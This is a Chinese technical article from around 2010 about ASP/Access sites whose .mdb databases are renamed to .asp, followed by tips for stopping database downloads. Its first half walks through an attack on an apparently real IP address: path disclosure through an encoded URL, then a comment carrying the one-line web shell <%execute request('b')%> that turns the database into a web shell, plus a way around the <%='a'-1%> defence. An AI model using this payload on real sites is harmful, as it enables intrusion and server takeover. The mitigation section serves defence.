access改mdb為asp所帶來(lái)的災(zāi)難 附mdb防下載方法
當(dāng)前位置:點(diǎn)晴教程→知識(shí)管理交流
→『 技術(shù)文檔交流 』
可能是隨著網(wǎng)絡(luò)安全技術(shù)的發(fā)展吧,管理員的素質(zhì)都在提高,在使用access+asp系統(tǒng)時(shí),為不數(shù)據(jù)庫(kù)被人下載,到把mdb改為asp或asa。 先不說(shuō)直接改后綴,直接可以用網(wǎng)快等工具直接下載,其實(shí)這樣你已經(jīng)是為入侵者打開(kāi)了大門(mén)。入侵者可以利用asp/asa為后綴的數(shù)據(jù)庫(kù)直接得到webshell。 一.思路 大家都知道<%%>為asp文件的標(biāo)志符,也就是說(shuō)一個(gè)asp文件只會(huì)去執(zhí)行<%%>之間的代碼,access+asp的web系統(tǒng)的所有數(shù)據(jù)都是存放在數(shù)據(jù)庫(kù)文件里(mdb文件),由于管理者把mdb文件改為了asp文件,如果我們提交的數(shù)據(jù)里包含有<%%>,那當(dāng)我們?cè)L問(wèn)這個(gè)asp數(shù)據(jù)庫(kù)的時(shí)候就會(huì)去執(zhí)行<%%>之間的代碼。這樣導(dǎo)致我們只提交惡意代碼給數(shù)據(jù)庫(kù),那么asp后綴的數(shù)據(jù)庫(kù)就是我們的webshell了。 二.示例 隨便找個(gè)目標(biāo),首先我們暴庫(kù),看是不是asp后綴的數(shù)據(jù)庫(kù):http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210 返回: 復(fù)制代碼 代碼如下: Microsoft VBScript 編譯器錯(cuò)誤 錯(cuò)誤 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行242 Microsoft JET Database Engine 錯(cuò)誤 '80004005' 'D:\log_mdb\%29dlog_mdb%29.asp'不是一個(gè)有效的路徑。 確定路徑名稱(chēng)拼寫(xiě)是否正確,以及是否連接到文件存放的服務(wù)器。 /test/conn.asp,行18 我們提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的亂碼,這樣我們可以直接用網(wǎng)際快車(chē)等工具直接下載數(shù)據(jù)庫(kù)(這里我們不討論)。我們回到主頁(yè)看到有提供“網(wǎng)友評(píng)論”功能。我們注冊(cè)個(gè)用戶,發(fā)一條評(píng)論: <%execute request("b")%> 這樣我們就把a(bǔ)sp代碼:<%execute request("b")%>寫(xiě)入了數(shù)據(jù)庫(kù),那么數(shù)據(jù)庫(kù):就是我們的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在亂碼的最后我們看到: 復(fù)制代碼 代碼如下: /iisHelp/common/500-100.asp,行242 Microsoft VBScript 運(yùn)行時(shí)錯(cuò)誤 錯(cuò)誤 '800a000d' 類(lèi)型不匹配: 'execute' /test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266 注意:我們?cè)谙驍?shù)據(jù)庫(kù)提交代碼時(shí),代碼內(nèi)容不可以太大。所以我們采用<%execute request("b")%>。 三.其他一些問(wèn)題和思路 1.對(duì)于改了后綴為asp,還對(duì)數(shù)據(jù)庫(kù)里加入了<%='a'-1%>等非法的asp代碼來(lái)徹底防止下載的數(shù)據(jù)庫(kù),由于里面存在了非法的asp代碼,插入我們的webshell代碼后運(yùn)行,將只會(huì)顯示前面非法代碼的錯(cuò)誤,而不去執(zhí)行我們shell的代碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯(cuò)的代碼前加入兼容錯(cuò)誤的代碼,就可以得到正確顯示執(zhí)行我們插入的webshell代碼了。 ?。玻畬?duì)于沒(méi)有改后綴的,也就是mdb文件,這樣我們可以先直接下載下來(lái)得到后臺(tái)密碼,進(jìn)了后臺(tái),可以利用數(shù)據(jù)庫(kù)備用改后綴為asp。 mdb防下載方法小結(jié) 1:在iis6下面 如果一個(gè)擴(kuò)展名沒(méi)有被定義則 訪問(wèn)的時(shí)候會(huì)出現(xiàn)文件沒(méi)有找到的404錯(cuò)誤。 因此你可以將數(shù)據(jù)庫(kù)任意命名成一個(gè)絕對(duì)不會(huì)出現(xiàn)的文件名就可以達(dá)到安全的效果比如:xxxxx.xxxxxxxxxxx 2 將數(shù)據(jù)庫(kù)放在網(wǎng)站的外部,那絕對(duì)就不能訪問(wèn)得到了。例如: e:/web/是你的網(wǎng)站 則把數(shù)據(jù)庫(kù)放在e:/ 3 正如樓上所說(shuō)的 將.mdb 改成 .asp 同時(shí)倒入一個(gè)特殊的表 包含 <% 的二進(jìn)制字符 這樣訪問(wèn)文件出現(xiàn) 缺少腳本關(guān)閉符的提示。 4 或者將.mdb 改成.asp 同時(shí)用winhex打開(kāi) 可以發(fā)現(xiàn)176以后有很長(zhǎng)一部分 00 字符串 你隨便在處改成一段asp代碼 也可以實(shí)現(xiàn)防止下載,這樣也不影響數(shù)據(jù)庫(kù)功能。例如: <% response.write("非法訪問(wèn)") response.end() %> 現(xiàn)在在數(shù)據(jù)庫(kù)的名稱(chēng)里 加上 “#” 和空格 都被破解了 比如“#” = “<%35” 而空格 = “<%20” 所以說(shuō) 現(xiàn)在用這些已經(jīng)不管用了。。 如果是自己的服務(wù)器的話就在IIS里設(shè)置一下: 新建一個(gè)空白的DLL文件,然后在IIS里添加映射,可執(zhí)行文件選剛才建的這個(gè)DLL,擴(kuò)展名填.mdb,保存后重啟一下IIS服務(wù)即可。
該文章在 2010/11/26 0:46:14 編輯過(guò) |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |